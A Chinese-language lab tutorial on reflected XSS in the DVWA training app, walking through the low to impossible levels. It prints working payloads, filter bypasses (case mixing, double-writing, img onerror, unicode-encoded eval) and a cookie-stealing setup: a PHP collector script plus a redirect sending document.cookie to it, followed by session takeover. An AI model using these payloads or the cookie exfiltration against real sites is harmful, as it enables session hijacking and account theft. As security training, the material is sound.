一)XSS(Reflected)介绍:
反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。
通过Web站点漏洞,向客户交付恶意脚本代码,实现对客户端的攻击;恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的;注入客户端脚本代码、盗取cookie、重定向等。
二)实际中实现流程:
1)攻击者向服务器端注入一段js代码
2)服务器端响应攻击者一个带有js代码的页面
3)攻击者向普通用户发送带有js代码的页面,诱使用户点击页面
4)用户点击攻击者所发送的页面,页面自动运行js代码,获取用户cookie,并发送给攻击者
三)实际操作:
正常输入一个用户名:
DVWA——XSS(Reflected)——low
核心源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码解析:
1)array_key_exists检查数组中是否有指定的键名
2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)
0禁用XSS保护
可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,没用进行任何的对XSS攻击的防御措施,存在非常明显的XSS漏洞,用户输入什么都会被执行。
方法一:
输入
<script>alert('hack')</script>
的结果:
此时通过
右键——查看网页源代码
可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
方法二:
1)用alert进行弹窗测试验证是否存在XSS:
<script>alert('hack')</script>
结论:
成功弹窗,说明存在XSS漏洞并且可利用
。
2)利用XSS获取cookie
编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下(可以尝试放在网站的根目录之外的路径下看是否有效)文档内容如下:
<?php
$cookie = $_GET[“cookie”];
file_put_contents(“cookie.txt”,$cookie);
?>
接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中
1)<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
注:前面我们只是利用<script>alert('hack')</script>其实现一个简单的弹窗并没
有进一步加以利用,此处我们构造一句JS去获取目标的cookie,
因为要将构造的要对上面的编写的JS代码进行URL转码:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#
解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name=
——是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。
2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#
——是我们构造的JS代码(原本输入于id框中<script>alert('hack')</script>
变成了<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
并进行了url编码)。
在实际中会将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中
。
在自己搭建的环境中可以直接将整个编码后的url复制粘贴到地址栏进行访问,也可以将编码后的JS代码(url的后半段)在框中输入。
最终页面跳转,说明js代码执行成功
:
此时,当我们到phpstudy中的www目录下就会发现成功生成了一个cookie.txt文档:
3)利用获取到的cookie登陆DVWA
在浏览器中访问DVWA的登陆页面,然后F12搜索cookie关键字并将cookie值修改为获取到的cookie值:
访问登陆页面:
修改cookie值:
功地利用cookie登陆了DVWA并获取了登陆身份:
DVWA——XSS(Reflected)——medium
<?php
header ("X-XSS-Protection: 0")
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<pre> </pre>
元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。
可以看到,medium级别的代码只是在low级别上增加了对于
<scripit>
的过滤,把
<script>
替换为空,然而并没有什么用,我们可以直接采用以下几种方式绕过。
方法一:
(大小写绕过)
<sCript>alert('hack')</scRIpt>
<SCRIPT>alert('hack')</SCRIPT>
输入
<SCRIPT>alert('hack')</SCRIPT>
结果:
此时通过
右键——查看网页源代码
可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
方法二:
(双写绕过)
<scr<script>ipt>alert("hack")</script>
<s<script>cript>alert("hack")</script>
如果任然直接输入
<script>alert('hack')</script>
会发现alert语句没有被执行,因为
<script>
不再被当成标签而被过滤了:
查看一下源代码:
可以看到
<script>标签
已经被替换为空,但其余内容并没有改变,我们可以利用双写绕过方法,也就是把
<script>标签
过滤后,剩下的内容仍能组成完整的XSS语句:
此时再次查看源代码:
图
方法三:
(使用非
<script>标签
的其他标签)
1) <img src=1 onerror='alert("hack")'>
2)
3)
语句解析:只要src的值(图片)找不到就一定会发生错误,那么onerror的代码得到了执行:
图
方法四:
(关键字编码)
有些时候服务器会对代码中关键字进行过滤(如alert),我们可以尝试将关键字进行unicode编码(但是直接把编码后的语句输入是不会起作用的),再将编码后的放在eval()会将编码后的语句解码后再执行:
将alert(“D-Rose”)进行unicode编码:
\u0061\u006c\u0065\u0072\u0074("D-Rose")
构建出来的语句如下:
<Script>eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )</scripT>
成功弹窗:
DVWA——XSS(Reflected)——high
核心源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,high级别的代码使用了
正则表达式
直接把
<*s*c*r*i*p*t
给过滤了,
*
代表一个或多个任意字符,i 代表不区分大小写。
所以
<script>标签
在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签
的src注入恶意的js代码。
在high等级中继续使用
<script>alert(/xss/)</script>
测试是否有XSS漏洞,会发现只显示 > 前面所有字符被过滤:
同时尝试使用medium等级中的大小写绕过、双写绕过,发现还是所有字符都被过滤。既然在high等级中
<script>
标签被彻底过滤,那么我们使用非
<script>
标签
img、body等标签的事件
或者
iframe等标签
的src注入恶意js代码。
方法一:
输入
<img src=1 οnerrοr=alert('hack')>
结果:
<img src=1 οnerrοr=alert('hack')>
的意思是,当图片显示错误时,执行 alert(‘hack’) ,这里我们构造的的 src=1 肯定显示错误,所以执行 alert语句。
此时通过
右键——查看网页源代码
可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
DVWA——XSS(Reflected)——impossible
核心源码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源码分析:
htmlspecialchars(string): 把预定义的字符:
"<" (小于)、 ">" (大于)、& 、''、"" 转换为HTML实体,
防止浏览器将其作为HTML元素
可以看出,impossible级别的代码
先判断name是否为空
,不为空的话
然后验证其token
,来防范CSRF攻击。然后
再用htmlspecialchars函数将name中的预定义字符 “<” (小于)和 “>” (大于)转换成html实体
,这样就防止了我们填入标签。
当我们输入
<script>alert('hack')</script>
时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且
${name}
取的是
$name
的值,然后包围在
<pre></pre>标签
中被打印出来,所以我们插入的语句并不会被执行:
查看源代码,表单提交的过程中,把我们的
user_token也一并提交了
,来和服务器端的session_token做验证,
防止CSRF攻击
。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行.
此时通过
右键——查看网页源代码
可以在网页前端代码发现刚刚输入的JS代码并没有成功的写入。
四)参考文献: